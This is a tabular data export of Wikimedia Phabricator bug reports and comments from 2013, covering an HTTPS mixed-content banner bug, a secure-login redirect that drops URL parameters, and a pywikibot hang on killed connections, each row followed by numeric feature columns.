258819,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,Looks like the patch was merged and I'm no longer seeing the issue on m.mediawiki.org. Can this bug be closed?,,,1383157363,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,13.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,3.9565217391304346,0.9565217391304348,Looks like the patch was merged and I'm no longer seeing the issue on m.mediawiki.org. Can this bug be closed?
258813,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 90639 merged by Adamw:
Serve Mobile URLs to Mobile Users

https://gerrit.wikimedia.org/r/90639",,,1382126966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,53.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.9333333333333333,"Change 90639 merged by Adamw:
Serve Mobile URLs to Mobile Users

GERRIT_URL"
258806,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 90639 had a related patch set uploaded by Mwalker:
Serve Mobile URLs to Mobile Users

https://gerrit.wikimedia.org/r/90639",,,1382126221,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,40.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.45,0.95,"Change 90639 had a related patch set uploaded by Mwalker:
Serve Mobile URLs to Mobile Users

GERRIT_URL"
57761,wgSecureLogin redirect to https drops campaign and other URL parameters,"Now that $wgSecureLogin defaults to true for most WMF wikis, Special:UserLogin/signup redirects account creation to https. When it does so it drops all URL parameters to signup apart from returnto and returntoquery.

As a result, we're losing campaign information, and other control over login such as &showGettingStarted=false.

To reproduce:
Browse enwiki over http, visit a random page, click Edit, if the yellowish ""You are not logged in...."" anoneditwarning bar appears, then note the http: link for "" or create an account"" contains &campaign=anoneditwarning""

But when you click it, you are redirected to
https://en.wikipedia.org/w/index.php?title=Special:UserLogin/signup&returnto=Ectoedemia_sabina&returntoquery=&fromhttp=1

with no campaign parameter.

One fix is to test for campaign and add it back to the $query, in the execute() function in includes/specials/SpecialUserlogin.php. Or, include all query string parameters in the redirect URL.

--------------------------
**Version**: 1.22.0
**Severity**: normal",High,80.0,1381873020,1381959845.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-2quv7lfgsv57c5rbpniz,task_description,resolved,True,c3,1,False,False,True,-90,True,1.0,0.0,0.0,1.0,0.5,4.0,0.5,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.0,0.5,1.0,4.0,11.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,6.0,0.5,2.0,0.5,1.5,0.5,0.0,1.0,0.0,0.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,4.0,1.5,9.5,2.0,4.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,4.0,11.5,3.5,0.0,2.5,0.0,4.0,0.0,1.0,1.5,0.0,1.5,0.0,0.5,0.0,4.046391752577319,0.7268041237113402,"Now that $wgSecureLogin defaults to true for most WMF wikis, Special:UserLogin/signup redirects account creation to https. When it does so it drops all URL parameters to signup apart from returnto and returntoquery.

As a result, we're losing campaign information, and other control over login such as &showGettingStarted=false.

To reproduce:
Browse enwiki over http, visit a random page, click Edit, if the yellowish ""You are not logged in...."" anoneditwarning bar appears, then note the http: link for "" or create an account"" contains &campaign=anoneditwarning""

But when you click it, you are redirected to
URL

with no campaign parameter.

One fix is to test for campaign and add it back to the $query, in the execute() function in includes/specials/SpecialUserlogin.php. Or, include all query string parameters in the redirect URL.

--------------------------
**Version**: 1.22.0
**Severity**: normal"
277922,wgSecureLogin redirect to https drops campaign and other URL parameters,"**swalling** wrote:

https://gerrit.wikimedia.org/r/#/c/90125/ reviewed and merged",,,1381959845,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,False,,,-90,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.75,"**swalling** wrote:

URL reviewed and merged"
277916,wgSecureLogin redirect to https drops campaign and other URL parameters,"Change 90125 merged by jenkins-bot:
Include miscellaneous query parameters in $wgSecureLogin redirect

https://gerrit.wikimedia.org/r/90125",,,1381943295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,False,,,-90,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.421052631578948,1.0,"Change 90125 merged by jenkins-bot:
Include miscellaneous query parameters in $wgSecureLogin redirect

GERRIT_URL"
277909,wgSecureLogin redirect to https drops campaign and other URL parameters,"Change 90125 had a related patch set uploaded by Anomie:
Include miscellaneous query parameters in $wgSecureLogin redirect

https://gerrit.wikimedia.org/r/90125",,,1381934043,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,False,,,-90,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.409090909090909,1.0,"Change 90125 had a related patch set uploaded by Anomie:
Include miscellaneous query parameters in $wgSecureLogin redirect

GERRIT_URL"
277903,wgSecureLogin redirect to https drops campaign and other URL parameters,"**swalling** wrote:

Setting to high priority since this means ongoing data collection is being interrupted. Visible at: http://ee-dashboard.wmflabs.org/graphs/enwiki_campaigns",,,1381887312,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,False,,,-90,True,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.153846153846154,0.8461538461538461,"**swalling** wrote:

Setting to high priority since this means ongoing data collection is being interrupted. Visible at: URL"
277895,wgSecureLogin redirect to https drops campaign and other URL parameters,"(In reply to comment #1)
> But is there any reason not to preserve the entire query string (then add
> fromhttp=1)?

Not that I can see for the purposes of the redirect. In load(), SpecialUserlogin.php adjusts mReturnTo and mReturnToQuery and on $wgSecureLogin redirect builds a new query string out of them; but my hunch is there's no harm redirecting to https with the entire original query string, and doing all query param processing in https processing.",,,1381885637,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,False,,,-90,True,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,4.0,1.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,9.0,1.0,5.0,8.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,5.0,16.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,4.1688311688311686,0.7532467532467533,"(In reply to comment #1)
QUOTE
QUOTE

Not that I can see for the purposes of the redirect. In load(), SpecialUserlogin.php adjusts mReturnTo and mReturnToQuery and on $wgSecureLogin redirect builds a new query string out of them; but my hunch is there's no harm redirecting to https with the entire original query string, and doing all query param processing in https processing."
277887,wgSecureLogin redirect to https drops campaign and other URL parameters,"Chris, it's not meant to be a parameter on the page they come back to (e.g. we don't want to send them to https://en.wikipedia.org/wiki/Ectoedemia_sabina?campaign=foo.  It's meant to be a parameter on the create page itself, since it's checked in the UserCreateForm hook.  I.E.

https://en.wikipedia.org/w/index.php?title=Special:UserLogin/signup&returnto=Ectoedemia_sabina&returntoquery=&campaign=foo&fromhttp=1",,,1381877222,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,16.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,11.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,16.0,5.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.309090909090909,0.6727272727272727,"Chris, it's not meant to be a parameter on the page they come back to (e.g. we don't want to send them to URL  It's meant to be a parameter on the create page itself, since it's checked in the UserCreateForm hook.  I.E.

URL"
277879,wgSecureLogin redirect to https drops campaign and other URL parameters,"spage, whatever is inserting that link isn't accounting for the campaign parameter correctly. The signup form is correct redirecting back to the passed in returnto and returntoquery, which that link is incorrectly generating. For example, if you manually add ""&campaign=asdf"" to your url, and then click the normal nav bar's ""Create account"", the returntoquery is correctly set.",,,1381876826,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,23.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,3.0,4.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,4.351351351351352,0.6891891891891891,"spage, whatever is inserting that link isn't accounting for the campaign parameter correctly. The signup form is correct redirecting back to the passed in returnto and returntoquery, which that link is incorrectly generating. For example, if you manually add ""&campaign=asdf"" to your url, and then click the normal nav bar's ""Create account"", the returntoquery is correctly set."
277872,wgSecureLogin redirect to https drops campaign and other URL parameters,"campaign is not part of core, so if you need to add it here, it should be through a hook.

But is there any reason not to preserve the entire query string (then add fromhttp=1)?",,,1381876021,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c3,1,True,,,-90,True,2.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,12.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,2.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,12.0,2.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8571428571428571,"campaign is not part of core, so if you need to add it here, it should be through a hook.

But is there any reason not to preserve the entire query string (then add fromhttp=1)?"
57127,core hangs on killed http(s) connection,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1657/
Reported by: valhallasw
Created on: 2013-08-22 15:14:10.237000
Subject: core hangs on killed http(s) connection
Original description:
Steps to reproduce:

>>> p = pywikibot.Page(pywikibot.getSite('nl', 'wikipedia'), 'Wikipedia')
>>> p.get()

# now kill the connection, e.g. using tcpview in windows

>>> p = pywikibot.Page(pywikibot.getSite('nl', 'wikipedia'), 'Wikipedia')
>>> p.get()

# hangs



Expected result:
pywikibot reconnects and executes the .get()

Actual result:
complete hang (deadlock?)

--------------------------
**Version**: core-(2.0)
**Severity**: major
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1657",High,80.0,1380947340,1391369639.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_description,resolved,True,c3,1,True,False,True,-91,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,12.0,0.0,1.0,1.5,0.0,0.0,0.0,1.5,1.5,0.0,2.0,0.0,0.0,3.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,3.736842105263158,0.6140350877192983,"Originally from: URL
Reported by: valhallasw
Created on: 2013-08-22 15:14:10.237000
Subject: core hangs on killed http(s) connection
Original description:
Steps to reproduce:

QUOTE
QUOTE

# now kill the connection, e.g. using tcpview in windows

QUOTE
QUOTE

# hangs



Expected result:
pywikibot reconnects and executes the .get()

Actual result:
complete hang (deadlock?)

--------------------------
**Version**: core-(2.0)
**Severity**: major
**See Also**:
URL"
264330,core hangs on killed http(s) connection,"Change 108325 abandoned by Xqt:
[BUGFIX] fixing bug 55127

Reason:
https://gerrit.wikimedia.org/r/110853
https://gerrit.wikimedia.org/r/110866 
https://gerrit.wikimedia.org/r/110867

https://gerrit.wikimedia.org/r/108325",,,1391367609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.333333333333333,0.6666666666666666,"Change 108325 abandoned by Xqt:
[BUGFIX] fixing bug 55127

Reason:
GERRIT_URL
GERRIT_URL 
GERRIT_URL

GERRIT_URL"
264326,core hangs on killed http(s) connection,"Change 110867 merged by jenkins-bot:
(bug 55127) Allow user to abort during http request

https://gerrit.wikimedia.org/r/110867",,,1391367518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 110867 merged by jenkins-bot:
(bug 55127) Allow user to abort during http request

GERRIT_URL"
264323,core hangs on killed http(s) connection,"Change 110866 merged by jenkins-bot:
(bug 55127) Allow user to cut off pending network requests at shutdown

https://gerrit.wikimedia.org/r/110866",,,1391367516,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.16,1.0,"Change 110866 merged by jenkins-bot:
(bug 55127) Allow user to cut off pending network requests at shutdown

GERRIT_URL"
264317,core hangs on killed http(s) connection,"Change 110853 merged by jenkins-bot:
(bug 55127) Implement network timeouts

https://gerrit.wikimedia.org/r/110853",,,1391367513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,1.0,"Change 110853 merged by jenkins-bot:
(bug 55127) Implement network timeouts

GERRIT_URL"
264313,core hangs on killed http(s) connection,"And with the latest two patches, this should also be fixed.",,,1391363592,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.769230769230769,1.0,"And with the latest two patches, this should also be fixed."
264308,core hangs on killed http(s) connection,"Change 110867 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Allow user to abort during http request

https://gerrit.wikimedia.org/r/110867",,,1391363567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.148148148148148,1.0,"Change 110867 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Allow user to abort during http request

GERRIT_URL"
264303,core hangs on killed http(s) connection,"Change 110866 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Allow user to cut off pending network requests at shutdown

https://gerrit.wikimedia.org/r/110866",,,1391363536,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.266666666666667,1.0,"Change 110866 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Allow user to cut off pending network requests at shutdown

GERRIT_URL"
264298,core hangs on killed http(s) connection,"This solves the basic issue, but does not fix the other two issues (the main thread will not respond to ctrl-c until the timeout is reached; also the thread will not be stopped until the timeout is raised)",,,1391349874,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,2.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.7272727272727273,"This solves the basic issue, but does not fix the other two issues (the main thread will not respond to ctrl-c until the timeout is reached; also the thread will not be stopped until the timeout is raised)"
264292,core hangs on killed http(s) connection,"Change 110853 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Implement network timeouts

